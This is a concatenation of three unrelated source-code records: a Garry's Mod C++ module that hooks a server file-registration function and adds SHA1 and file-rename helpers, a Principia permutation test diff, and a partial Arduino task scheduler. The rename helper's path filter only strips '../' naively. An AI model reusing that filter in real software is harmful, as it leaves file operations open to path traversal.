ADDORUPDATEFILE_SYM reinterpret_cast<const uint8_t *>( SYMBOL_PREFIX \"_ZN12GModDataPack15AddOrUpdateFileEP7LuaFileb\" )\n#define ADDORUPDATEFILE_SYMLEN 0\n\n#endif\n\nGarrysMod::Lua::ILuaInterface *lua = NULL;\n\nclass GModDataPack;\n\nstruct LuaFile\n{\n\tuint32_t skip;\n\tconst char *path;\n};\n\n#if defined _WIN32\n\ntypedef void ( THISCALL *AddOrUpdateFile_t ) ( GModDataPack *self, LuaFile *file, bool force );\n\n#elif defined __linux || defined __APPLE__\n\ntypedef void ( CDECL *AddOrUpdateFile_t ) ( GModDataPack *self, LuaFile *file, bool force );\n\n#endif\n \nAddOrUpdateFile_t AddOrUpdateFile = NULL;\nMologieDetours::Detour<AddOrUpdateFile_t> *AddOrUpdateFile_d = NULL;\n\n#if defined _WIN32\n\nvoid FASTCALL AddOrUpdateFile_h( GModDataPack *self, void *, LuaFile *file, bool b )\n\n#elif defined __linux || defined __APPLE__\n\nvoid CDECL AddOrUpdateFile_h( GModDataPack *self, LuaFile *file, bool b )\n\n#endif\n\n{\n\tlua->PushSpecial( GarrysMod::Lua::SPECIAL_GLOB );\n\tif( lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t{\n\t\tlua->GetField( -1, \"hook\" );\n\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t\t{\n\t\t\tlua->GetField( -1, \"Run\" );\n\t\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::FUNCTION ) )\n\t\t\t{\n\t\t\t\tlua->PushString( \"AddOrUpdateCSLuaFile\" );\n\n\t\t\t\tlua->PushString( file->path );\n\t\t\t\tlua->PushBool( b );\n\n\t\t\t\tif( lua->PCall( 3, 1, 0 ) != 0 )\n\t\t\t\t{\n\t\t\t\t\tlua->Msg( \"[luapack_internal] %s\\n\", lua->GetString( ) );\n\t\t\t\t\tlua->Pop( 3 );\n\t\t\t\t\treturn AddOrUpdateFile( self, file, b );\n\t\t\t\t}\n\n\t\t\t\tif( lua->IsType( -1, GarrysMod::Lua::Type::BOOL ) && lua->GetBool( ) )\n\t\t\t\t{\n\t\t\t\t\tlua->Pop( 3 );\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\tlua->Pop( 1 );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlua->Pop( 1 );\n\t\t\t}\n\t\t}\n\n\t\tlua->Pop( 1 );\n\t}\n\n\tlua->Pop( 1 );\n\treturn AddOrUpdateFile( self, file, b );\n}\n\n#define HASHER_METATABLE \"SHA1\"\n#define HASHER_TYPE 31\n\n#define THROW_ERROR( error ) ( LUA->ThrowError( error ), 0 )\n#define LUA_ERROR( ) THROW_ERROR( LUA->GetString( ) )\n\n#define GET_USERDATA( index ) reinterpret_cast<GarrysMod::Lua::UserData *>( LUA->GetUserdata( index ) )\n#define GET_HASHER( index ) reinterpret_cast<sha1_context *>( GET_USERDATA( index )->data )\n#define VALIDATE_HASHER( hasher ) if( hasher == 0 ) return THROW_ERROR( HASHER_METATABLE \" object is not valid\" )\n\nLUA_FUNCTION_STATIC( hasher__new )\n{\n\ttry\n\t{\n\t\tsha1_context *context = new sha1_context;\n\t\tsha1_starts( context );\n\n\t\tvoid *luadata = LUA->NewUserdata( sizeof( GarrysMod::Lua::UserData ) );\n\t\tGarrysMod::Lua::UserData *userdata = reinterpret_cast<GarrysMod::Lua::UserData *>( luadata );\n\t\tuserdata->data = context;\n\t\tuserdata->type = HASHER_TYPE;\n\n\t\tLUA->CreateMetaTableType( HASHER_METATABLE, HASHER_TYPE );\n\t\tLUA->SetMetaTable( -2 );\n\n\t\treturn 1;\n\t}\n\tcatch( std::exception &e )\n\t{\n\t\tLUA->PushString( e.what( ) );\n\t}\n \n\treturn LUA_ERROR( );\n}\n\nLUA_FUNCTION_STATIC( hasher__gc )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\n\tGarrysMod::Lua::UserData *userdata = GET_USERDATA( 1 );\n\tsha1_context *hasher = reinterpret_cast<sha1_context *>( userdata->data );\n\tVALIDATE_HASHER( hasher );\n\n\tuserdata->data = 0;\n\n\tdelete hasher;\n\treturn 0;\n}\n\nLUA_FUNCTION_STATIC( hasher_update )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\tLUA->CheckType( 2, GarrysMod::Lua::Type::STRING );\n\n\tsha1_context *hasher = GET_HASHER( 1 );\n\tVALIDATE_HASHER( hasher );\n\n\tuint32_t len = 0;\n\tconst uint8_t *data = reinterpret_cast<const uint8_t *>( LUA->GetString( 2, &len ) );\n\n\tsha1_update( hasher, data, len );\n\n\treturn 0;\n}\n\nLUA_FUNCTION_STATIC( hasher_final )\n{\n\tLUA->CheckType( 1, HASHER_TYPE );\n\n\tsha1_context *hasher = GET_HASHER( 1 );\n\tVALIDATE_HASHER( hasher );\n\n\tuint8_t digest[20];\n\tsha1_finish( hasher, digest );\n\n\tLUA->PushString( reinterpret_cast<const char *>( digest ), sizeof( digest ) );\n\treturn 1;\n}\n\nstatic void SubstituteChar( std::string &path, char part, char sub )\n{\n\tsize_t pos = path.find( part );\n\twhile( pos != path.npos )\n\t{\n\t\tpath.erase( pos, 1 );\n\t\tpath.insert( pos, 1, sub );\n\t\tpos = path.find( part, pos + 1 );\n\t}\n}\n\nstatic void RemovePart( std::string &path, const char *part )\n{\n\tsize_t len = strlen( part ), pos = path.find( part );\n\twhile( pos != path.npos )\n\t{\n\t\tpath.erase( pos, len );\n\t\tpos = path.find( part, pos );\n\t}\n}\n\ninline void FixPath( std::string &path )\n{\n\tSubstituteChar( path, '\\\\', '\/' );\n\tRemovePart( path, \"..\/\" );\n\tRemovePart( path, \".\/\" );\n}\n\nstatic bool HasWhitelistedExtension( const char *cpath )\n{\n\tstd::string path = cpath;\n\tsize_t extstart = path.find( '.' );\n\tif( extstart != path.npos )\n\t{\n\t\tsize_t lastslash = path.find( '\/' );\n\t\tif( lastslash != path.npos && lastslash > extstart )\n\t\t\treturn false;\n\n\t\tstd::string ext = path.substr( extstart + 1 );\n\t\treturn ext == \"txt\" || ext == \"dat\" || ext == \"lua\";\n\t}\n\n\treturn false;\n}\n\nLUA_FUNCTION_STATIC( luapack_rename )\n{\n\tLUA->CheckType( 1, GarrysMod::Lua::Type::STRING );\n\tLUA->CheckType( 2, GarrysMod::Lua::Type::STRING );\n\n\tconst char *luafrom = LUA->GetString( 1 );\n\tif( HasWhitelistedExtension( luafrom ) )\n\t{\n\t\tLUA->PushBool( false );\n\t\treturn 1;\n\t}\n\n\tconst char *luato = LUA->GetString( 2 );\n\tif( HasWhitelistedExtension( luato ) )\n\t{\n\t\tLUA->PushBool( false );\n\t\treturn 1;\n\t}\n\n\tbool success = false;\n\n\t\/\/ Lua (LuaJIT in x86 in particular) doesn't exactly like RAII.\n\t\/\/ Let's make a specific scope just for our logic.\n\t{\n\t\tstd::string from = \"garrysmod\/\";\n\t\tfrom += luafrom;\n\t\tFixPath( from );\n\n\t\tstd::string to = \"garrysmod\/\";\n\t\tto += luato;\n\t\tFixPath( to );\n\t\t\n\t\tsuccess = rename( from.c_str( ), to.c_str( ) ) == 0;\n\t}\n\n\tLUA->PushBool( success );\n\treturn 1;\n}\n\nGMOD_MODULE_OPEN( )\n{\n\tlua = reinterpret_cast<GarrysMod::Lua::ILuaInterface *>( LUA );\n\n\ttry\n\t{\n\t\tlua->PushSpecial( GarrysMod::Lua::SPECIAL_GLOB );\n\n\t\tlua->GetField( -1, \"luapack\" );\n\t\tif( !lua->IsType( -1, GarrysMod::Lua::Type::TABLE ) )\n\t\t\tthrow std::runtime_error( \"luapack table not found\" );\n\n\t\tlua->PushCFunction( luapack_rename );\n\t\tlua->SetField( -2, \"Rename\" );\n\n\t\tlua->PushCFunction( hasher__new );\n\t\tlua->SetField( -2, HASHER_METATABLE );\n\n\t\tLUA->CreateMetaTableType( HASHER_METATABLE, HASHER_TYPE );\n\n\t\tLUA->Push( -1 );\n\t\tLUA->SetField( -2, \"__index\" );\n\n\t\tLUA->PushCFunction( hasher__gc );\n\t\tLUA->SetField( -2, \"__gc\" );\n\n\t\tLUA->PushCFunction( hasher_update );\n\t\tLUA->SetField( -2, \"Update\" );\n\n\t\tLUA->PushCFunction( hasher_final );\n\t\tLUA->SetField( -2, \"Final\" );\n\n\t\tSymbolFinder symfinder;\n\n\t\tAddOrUpdateFile = reinterpret_cast<AddOrUpdateFile_t>( symfinder.ResolveOnBinary( SERVER_BINARY, ADDORUPDATEFILE_SYM, ADDORUPDATEFILE_SYMLEN ) );\n\t\tif( AddOrUpdateFile == NULL )\n\t\t\tthrow std::runtime_error( \"GModDataPack::AddOrUpdateFile detour failed\" );\n\n\t\tAddOrUpdateFile_d = new MologieDetours::Detour<AddOrUpdateFile_t>( AddOrUpdateFile, reinterpret_cast<AddOrUpdateFile_t>( AddOrUpdateFile_h ) );\n\n\t\tAddOrUpdateFile = AddOrUpdateFile_d->GetOriginalFunction( );\n\n\t\tlua->Msg( \"[luapack_internal] GModDataPack::AddOrUpdateFile detoured.\\n\" );\n\n\t\treturn 0;\n\t}\n\tcatch( std::exception &e )\n\t{\n\t\tLUA->PushString( e.what( ) );\n\t}\n \n\treturn LUA_ERROR( );\n}\n \nGMOD_MODULE_CLOSE( )\n{\n\tdelete AddOrUpdateFile_d;\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\n#include <vector>\n\n#include \"geometry\/permutation.hpp\"\n#include \"geometry\/orthogonal_map.hpp\"\n#include \"geometry\/r3_element.hpp\"\n#include \"glog\/logging.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"quantities\/si.hpp\"\n#include \"testing_utilities\/almost_equals.hpp\"\n\nusing principia::quantities::Length;\nusing principia::si::Metre;\nusing principia::testing_utilities::AlmostEquals;\nusing testing::Eq;\n\nnamespace principia {\nnamespace geometry {\n\nclass PermutationTest : public testing::Test {\n protected:\n struct World;\n using Orth = OrthogonalMap<World, World>;\n using Perm = Permutation<World, World>;\n using R3 = R3Element<quantities::Length>;\n\n void SetUp() override {\n vector_ = Vector<quantities::Length, World>(\n R3(1.0 * Metre, 2.0 * Metre, 3.0 * Metre));\n bivector_ = Bivector<quantities::Length, World>(\n R3(1.0 * Metre, 2.0 * Metre, 3.0 * Metre));\n trivector_ = Trivector<quantities::Length, World>(4.0 * Metre);\n }\n\n Vector<quantities::Length, World> vector_;\n Bivector<quantities::Length, World> bivector_;\n Trivector<quantities::Length, World> trivector_;\n};\n\nTEST_F(PermutationTest, Identity) {\n EXPECT_THAT(Perm::Identity()(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, XYZ) {\n EXPECT_THAT(Perm(Perm::XYZ)(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, YZX) {\n EXPECT_THAT(Perm(Perm::YZX)(vector_.coordinates()),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, ZXY) {\n EXPECT_THAT(Perm(Perm::ZXY)(vector_.coordinates()),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n}\n\nTEST_F(PermutationTest, XZY) {\n EXPECT_THAT(Perm(Perm::XZY)(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 3.0 * Metre, 2.0 * Metre}));\n}\n\nTEST_F(PermutationTest, ZYX) {\n EXPECT_THAT(Perm(Perm::ZYX)(vector_.coordinates()),\n Eq<R3>({3.0 * Metre, 2.0 * Metre, 1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, YXZ) {\n EXPECT_THAT(Perm(Perm::YXZ)(vector_.coordinates()),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, Determinant) {\n Perm xyz(Perm::XYZ);\n Perm yzx(Perm::YZX);\n Perm zxy(Perm::ZXY);\n Perm xzy(Perm::XZY);\n Perm zyx(Perm::ZYX);\n Perm yxz(Perm::YXZ);\n EXPECT_TRUE(xyz.Determinant().Positive());\n EXPECT_TRUE(yzx.Determinant().Positive());\n EXPECT_TRUE(zxy.Determinant().Positive());\n EXPECT_TRUE(xzy.Determinant().Negative());\n EXPECT_TRUE(zyx.Determinant().Negative());\n EXPECT_TRUE(yxz.Determinant().Negative());\n}\n\nTEST_F(PermutationTest, AppliedToVector) {\n EXPECT_THAT(Perm(Perm::YZX)(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YXZ)(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, AppliedToBivector) {\n EXPECT_THAT(Perm(Perm::ZXY)(bivector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::ZYX)(bivector_).coordinates(),\n Eq<R3>({-3.0 * Metre, -2.0 * Metre, -1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, AppliedToTrivector) {\n EXPECT_THAT(Perm(Perm::XYZ)(trivector_).coordinates(),\n Eq(4.0 * Metre));\n EXPECT_THAT(Perm(Perm::XZY)(trivector_).coordinates(),\n Eq(-4.0 * Metre));\n}\n\nTEST_F(PermutationTest, Inverse) {\n EXPECT_THAT(Perm(Perm::YZX).Inverse()(vector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YXZ).Inverse()(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n\n std::vector<Perm> const all =\n {Perm(Perm::XYZ), Perm(Perm::YZX), Perm(Perm::ZXY),\n Perm(Perm::XZY), Perm(Perm::ZYX), Perm(Perm::YXZ)};\n for (const Perm& p : all) {\n Perm const identity = p * p.Inverse();\n EXPECT_THAT(identity(vector_), Eq(vector_));\n }\n}\n\nTEST_F(PermutationTest, Forget) {\n EXPECT_THAT(Perm(Perm::XYZ).Forget()(vector_).coordinates(),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YZX).Forget()(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n EXPECT_THAT(Perm(Perm::ZXY).Forget()(vector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::XZY).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({1.0 * Metre, 3.0 * Metre, 2.0 * Metre}, 2));\n EXPECT_THAT(Perm(Perm::ZYX).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({3.0 * Metre, 2.0 * Metre, 1.0 * Metre}, 4));\n EXPECT_THAT(Perm(Perm::YXZ).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}, 2));\n}\n\nTEST_F(PermutationTest, Compose) {\n std::vector<Perm> const all =\n {Perm(Perm::XYZ), Perm(Perm::YZX), Perm(Perm::ZXY),\n Perm(Perm::XZY), Perm(Perm::ZYX), Perm(Perm::YXZ)};\n for (Perm const& p1 : all) {\n Orth const o1 = p1.Forget();\n for (Perm const& p2 : all) {\n Orth const o2 = p2.Forget();\n Perm const p12 = p1 * p2;\n Orth const o12 = o1 * o2;\n for (Length l = 1 * Metre; l < 4 * Metre; l += 1 * Metre) {\n vector_.coordinates().x = l;\n EXPECT_THAT(p12(vector_), AlmostEquals(o12(vector_), 20));\n }\n }\n }\n}\n\n} \/\/ namespace geometry\n} \/\/ namespace principia\n<commit_msg>Better testing, notably composition.<commit_after>\n#include <vector>\n\n#include \"geometry\/permutation.hpp\"\n#include \"geometry\/orthogonal_map.hpp\"\n#include \"geometry\/r3_element.hpp\"\n#include \"glog\/logging.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"quantities\/si.hpp\"\n#include \"testing_utilities\/almost_equals.hpp\"\n\nusing principia::quantities::Length;\nusing principia::si::Metre;\nusing principia::testing_utilities::AlmostEquals;\nusing testing::Eq;\n\nnamespace principia {\nnamespace geometry {\n\nclass PermutationTest : public testing::Test {\n protected:\n struct World1;\n struct World2;\n using Orth = OrthogonalMap<World1, World2>;\n using Perm = Permutation<World1, World2>;\n using R3 = R3Element<quantities::Length>;\n\n void SetUp() override {\n vector_ = Vector<quantities::Length, World1>(\n R3(1.0 * Metre, 2.0 * Metre, 3.0 * Metre));\n bivector_ = Bivector<quantities::Length, World1>(\n R3(1.0 * Metre, 2.0 * Metre, 3.0 * Metre));\n trivector_ = Trivector<quantities::Length, World1>(4.0 * Metre);\n }\n\n Vector<quantities::Length, World1> vector_;\n Bivector<quantities::Length, World1> bivector_;\n Trivector<quantities::Length, World1> trivector_;\n};\n\nTEST_F(PermutationTest, Identity) {\n EXPECT_THAT(Perm::Identity()(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, XYZ) {\n EXPECT_THAT(Perm(Perm::XYZ)(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, YZX) {\n EXPECT_THAT(Perm(Perm::YZX)(vector_.coordinates()),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, ZXY) {\n EXPECT_THAT(Perm(Perm::ZXY)(vector_.coordinates()),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n}\n\nTEST_F(PermutationTest, XZY) {\n EXPECT_THAT(Perm(Perm::XZY)(vector_.coordinates()),\n Eq<R3>({1.0 * Metre, 3.0 * Metre, 2.0 * Metre}));\n}\n\nTEST_F(PermutationTest, ZYX) {\n EXPECT_THAT(Perm(Perm::ZYX)(vector_.coordinates()),\n Eq<R3>({3.0 * Metre, 2.0 * Metre, 1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, YXZ) {\n EXPECT_THAT(Perm(Perm::YXZ)(vector_.coordinates()),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, Determinant) {\n Perm xyz(Perm::XYZ);\n Perm yzx(Perm::YZX);\n Perm zxy(Perm::ZXY);\n Perm xzy(Perm::XZY);\n Perm zyx(Perm::ZYX);\n Perm yxz(Perm::YXZ);\n EXPECT_TRUE(xyz.Determinant().Positive());\n EXPECT_TRUE(yzx.Determinant().Positive());\n EXPECT_TRUE(zxy.Determinant().Positive());\n EXPECT_TRUE(xzy.Determinant().Negative());\n EXPECT_TRUE(zyx.Determinant().Negative());\n EXPECT_TRUE(yxz.Determinant().Negative());\n}\n\nTEST_F(PermutationTest, AppliedToVector) {\n EXPECT_THAT(Perm(Perm::YZX)(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YXZ)(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n}\n\nTEST_F(PermutationTest, AppliedToBivector) {\n EXPECT_THAT(Perm(Perm::ZXY)(bivector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::ZYX)(bivector_).coordinates(),\n Eq<R3>({-3.0 * Metre, -2.0 * Metre, -1.0 * Metre}));\n}\n\nTEST_F(PermutationTest, AppliedToTrivector) {\n EXPECT_THAT(Perm(Perm::XYZ)(trivector_).coordinates(),\n Eq(4.0 * Metre));\n EXPECT_THAT(Perm(Perm::XZY)(trivector_).coordinates(),\n Eq(-4.0 * Metre));\n}\n\nTEST_F(PermutationTest, Inverse) {\n EXPECT_THAT(Perm(Perm::YZX).Inverse()(vector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YXZ).Inverse()(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}));\n\n std::vector<Perm> const all =\n {Perm(Perm::XYZ), Perm(Perm::YZX), Perm(Perm::ZXY),\n Perm(Perm::XZY), Perm(Perm::ZYX), Perm(Perm::YXZ)};\n for (const Perm& p : all) {\n Perm const identity = p * p.Inverse();\n EXPECT_THAT(identity(vector_), Eq(vector_));\n }\n}\n\nTEST_F(PermutationTest, Forget) {\n EXPECT_THAT(Perm(Perm::XYZ).Forget()(vector_).coordinates(),\n Eq<R3>({1.0 * Metre, 2.0 * Metre, 3.0 * Metre}));\n EXPECT_THAT(Perm(Perm::YZX).Forget()(vector_).coordinates(),\n Eq<R3>({2.0 * Metre, 3.0 * Metre, 1.0 * Metre}));\n EXPECT_THAT(Perm(Perm::ZXY).Forget()(vector_).coordinates(),\n Eq<R3>({3.0 * Metre, 1.0 * Metre, 2.0 * Metre}));\n EXPECT_THAT(Perm(Perm::XZY).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({1.0 * Metre, 3.0 * Metre, 2.0 * Metre}, 2));\n EXPECT_THAT(Perm(Perm::ZYX).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({3.0 * Metre, 2.0 * Metre, 1.0 * Metre}, 4));\n EXPECT_THAT(Perm(Perm::YXZ).Forget()(vector_).coordinates(),\n AlmostEquals<R3>({2.0 * Metre, 1.0 * Metre, 3.0 * Metre}, 2));\n}\n\nTEST_F(PermutationTest, Compose) {\n struct World3;\n using Orth12 = OrthogonalMap<World1, World2>;\n using Orth13 = OrthogonalMap<World1, World3>;\n using Orth23 = OrthogonalMap<World2, World3>;\n using Perm12 = Permutation<World1, World2>;\n using Perm13 = Permutation<World1, World3>;\n using Perm23 = Permutation<World2, World3>;\n std::vector<Perm12> const all12 =\n {Perm12(Perm12::XYZ), Perm12(Perm12::YZX), Perm12(Perm12::ZXY),\n Perm12(Perm12::XZY), Perm12(Perm12::ZYX), Perm12(Perm12::YXZ)};\n std::vector<Perm23> const all23 =\n {Perm23(Perm23::XYZ), Perm23(Perm23::YZX), Perm23(Perm23::ZXY),\n Perm23(Perm23::XZY), Perm23(Perm23::ZYX), Perm23(Perm23::YXZ)};\n for (Perm12 const& p12 : all12) {\n Orth12 const o12 = p12.Forget();\n for (Perm23 const& p23 : all23) {\n Orth23 const o23 = p23.Forget();\n Perm13 const p13 = p23 * p12;\n Orth13 const o13 = o23 * o12;\n for (Length l = 1 * Metre; l < 4 * Metre; l += 1 * Metre) {\n vector_.coordinates().x = l;\n EXPECT_THAT(p13(vector_), AlmostEquals(o13(vector_), 20));\n }\n }\n }\n}\n\n} \/\/ namespace geometry\n} \/\/ namespace principia\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2018 https:\/\/www.thecoderscorner.com (Nutricherry LTD).\n * This product is licensed under an Apache license, see the LICENSE file in the top-level directory.\n *\/\n\n#include <inttypes.h>\n#include <Arduino.h>\n#include \"TaskManager.h\"\n\nTaskManager taskManager;\n\nTimerTask::TimerTask() {\n\tnext = NULL;\n\tclear();\n}\n\nvoid TimerTask::initialise(uint16_t executionInfo, TimerFn execCallback) {\n\tthis->executionInfo = executionInfo;\n\tthis->callback = execCallback;\n\t\n\tthis->scheduledAt = (executionInfo & TASK_MICROS) ? micros() : millis();\n}\n\nbool TimerTask::isReady() {\n\tif (!isInUse() || isRunning()) return false;\n\n\tif ((executionInfo & TASK_MICROS) != 0) {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\treturn (micros() - scheduledAt) >= delay;\n\t}\n\telse if((executionInfo & TASK_SECONDS) != 0) {\n\t\tuint32_t delay = (executionInfo & TIMER_MASK) * 1000L;\n\t\treturn (millis() - scheduledAt) >= delay;\n\t}\n\telse {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\treturn (millis() - scheduledAt) >= delay;\n\t}\n}\n\nunsigned long TimerTask::microsFromNow() {\n\tuint32_t microsFromNow;\n\tif ((executionInfo & TASK_MICROS) != 0) {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\tmicrosFromNow = delay - (micros() - scheduledAt);\n\t}\n\telse {\n\t\tuint32_t startTm = (executionInfo & TIMER_MASK);\n\t\tif ((executionInfo & TASK_SECONDS) != 0) {\n\t\t\tstartTm *= 1000;\n\t\t}\n\t\tmicrosFromNow = (startTm - (millis() - scheduledAt)) * 1000;\n\t}\n\treturn microsFromNow;\n}\n\n\ninline void TimerTask::execute() {\n\tif (callback == NULL) return; \/\/ failsafe, always exit with null callback.\n\n\t\/\/ handle repeating tasks - reschedule.\n\tif (isRepeating()) {\n\t\tmarkRunning();\n\t\tcallback();\n\t\tthis->scheduledAt = (executionInfo & TASK_MICROS) ? micros() : millis();\n\t\tclearRunning();\n\t}\n\telse {\n\t\tTimerFn savedCallback = callback;\n\t\tclear();\n\t\tsavedCallback();\n\t}\n}\n\nvoid TimerTask::clear() {\n\texecutionInfo = 0;\n\tcallback = NULL;\n}\n\nvoid TaskManager::markInterrupted(uint8_t interruptNo) {\n\ttaskManager.lastInterruptTrigger = interruptNo;\n\ttaskManager.interrupted = true;\n}\n\nTaskManager::TaskManager(uint8_t taskSlots) {\n\tthis->numberOfSlots = taskSlots;\n\tthis->tasks = new TimerTask[taskSlots];\n\tinterrupted = false;\n\tfirst = NULL;\n\tinterruptCallback = NULL;\n}\n\nint TaskManager::findFreeTask() {\n\tfor (uint8_t i = 0; i < numberOfSlots; ++i) {\n\t\tif (!tasks[i].isInUse()) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn TASKMGR_INVALIDID;\n}\n\ninline int toTimerValue(int v, TimerUnit unit) {\n\tif (unit == TIME_MILLIS && v > TIMER_MASK) {\n\t\tunit = TIME_SECONDS;\n\t\tv = v \/ 1000;\n\t}\n\tv = min(v, TIMER_MASK);\n\treturn v | (((uint16_t)unit) << 12);\n}\n\nuint8_t TaskManager::scheduleOnce(int millis, TimerFn timerFunction, TimerUnit timeUnit) {\n\tuint8_t taskId = findFreeTask();\n\tif (taskId != TASKMGR_INVALIDID) {\n\t\ttasks[taskId].initialise(toTimerValue(millis, timeUnit) | TASK_IN_USE, timerFunction);\n\t\tputItemIntoQueue(&tasks[taskId]);\n\t}\n\treturn taskId;\n}\n\nuint8_t TaskManager::scheduleFixedRate(int millis, TimerFn timerFunction, TimerUnit timeUnit) {\n\tuint8_t taskId = findFreeTask();\n\tif (taskId != TASKMGR_INVALIDID) {\n\t\ttasks[taskId].initialise(toTimerValue(millis, timeUnit) | TASK_IN_USE | TASK_REPEATING, timerFunction);\n\t\tputItemIntoQueue(&tasks[taskId]);\n\t}\n\treturn taskId;\n}\n\nvoid TaskManager::cancelTask(uint8_t task) {\n\tif (task < numberOfSlots) {\n\t\ttasks[task].clear();\n\t\tremoveFromQueue(&tasks[task]);\n\t}\n}\n\nchar* TaskManager::checkAvailableSlots(char* data) {\n\tuint8_t i;\n\tfor (i = 0; i < numberOfSlots; ++i) {\n\t\tdata[i] = tasks[i].isRepeating() ? 'R' : (tasks[i].isInUse() ? 'U' : 'F');\n\t\tif (tasks[i].isRunning()) data[i] = tolower(data[i]);\n\t}\n\tdata[i] = 0;\n\treturn data;\n}\n\nvoid TaskManager::yieldForMicros(uint16_t microsToWait) {\n\tunsigned long microsEnd = micros() + microsToWait;\n\n\twhile(micros() < microsEnd) {\n\t\trunLoop();\n\t}\n}\n\nvoid TaskManager::runLoop() {\n\tif (interrupted) {\n\t\tinterrupted = false;\n\t\tinterruptCallback(lastInterruptTrigger);\n\t}\n\n\tTimerTask* tm = first;\n\twhile(tm != NULL) {\n\t\tif (tm->isReady()) {\n\t\t\tremoveFromQueue(tm);\n\t\t\ttm->execute();\n\t\t\tif (tm->isRepeating()) {\n\t\t\t\tputItemIntoQueue(tm);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tbreak;\n\t\t}\n\n\t\ttm = tm->getNext();\n\t}\n\n\t\/\/ TODO, if not interrupted, and no task for a while sleep and set timer - go into low power.\n}\n\nvoid TaskManager::putItemIntoQueue(TimerTask* tm) {\n\n\t\/\/ shortcut, no first yet, so we are at the top!\n\tif (first == NULL) {\n\t\tfirst = tm;\n\t\ttm->setNext(NULL);\n\t\treturn;\n\t}\n\n\t\/\/ if we are the new first..\n\tif (first->microsFromNow() > tm->microsFromNow()) {\n\t\ttm->setNext(first);\n\t\tfirst = tm;\n\t\treturn;\n\t}\n\n\t\/\/ otherwise we have to find the place in the queue for this item by time\n\tTimerTask* current = first->getNext();\n\tTimerTask* previous = first;\n\n\twhile (current != NULL) {\n\t\tif (current->microsFromNow() > tm->microsFromNow()) {\n\t\t\tprevious->setNext(tm);\n\t\t\ttm->setNext(current);\n\t\t\treturn;\n\t\t}\n\t\tprevious = current;\n\t\tcurrent = current->getNext();\n\t}\n\n\t\/\/ we are at the end of the queue\n\tprevious->setNext(tm);\n\ttm->setNext(NULL);\n}\n\nvoid TaskManager::removeFromQueue(TimerTask* tm) {\n\t\n\t\/\/ shortcut, if we are first, just remove us by getting the next and setting first.\n\tif (first == tm) {\n\t\tfirst = tm->getNext();\n\t\treturn;\n\t}\n\n\t\/\/ otherwise, we have a single linked list, so we need to keep previous and current and\n\t\/\/ then iterate through each item\n\tTimerTask* current = first->getNext();\n\tTimerTask* previous = 